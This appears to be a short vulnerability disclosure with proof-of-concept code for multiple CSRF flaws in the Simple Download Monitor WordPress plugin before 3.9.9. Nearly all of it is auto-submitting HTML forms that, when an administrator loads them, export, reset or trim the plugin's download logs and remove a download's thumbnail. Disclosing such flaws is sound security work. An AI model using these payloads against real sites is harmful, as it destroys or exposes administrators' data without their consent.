Simple Download Monitor < 3.9.9 - Multiple CSRF

Proof of Concept

To export logs (which could then be downloaded by unauthenticated users using the Unauthenticated Log Access issue) - Fixed in 3.9.6
<form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs&action=sdm-logs-export" method="post" id="csrf">
<input type="hidden" name="sdm_stats_start_date" value="2021-08-31">
<input type="hidden" name="sdm_stats_end_date" value="2021-08-31">
<input type="hidden" name="sdm_export_log_entries" value="1">
</form>
<script>csrf.submit()</script>

To delete logs (fixed in 3.9.9):
<form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs" method="post" id="csrf">
<input type="hidden" name="sdm_reset_log_entries" value="1">
</form>
<script>csrf.submit()</script>

<form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs" method="post" id="csrf">
<input type="hidden" name="sdm_trim_log_entries" value="1">
<!-- older than 0 days = basically all -->
<input type="hidden" name="sdm_trim_log_entries_day" value="0">
</form>
<script>csrf.submit()</script>


To remove thumbnail image from downloads (fixed in 3.9.9)
<form action="https://example.com/wp-admin/admin-ajax.php" method="post" id="csrf">
<input type="hidden" name="action" value="sdm_remove_thumbnail_image">
<!-- assuming download 612 has thumbnail -->
<input type="hidden" name="post_id_del" value="612">
</form>
<script>csrf.submit()</script>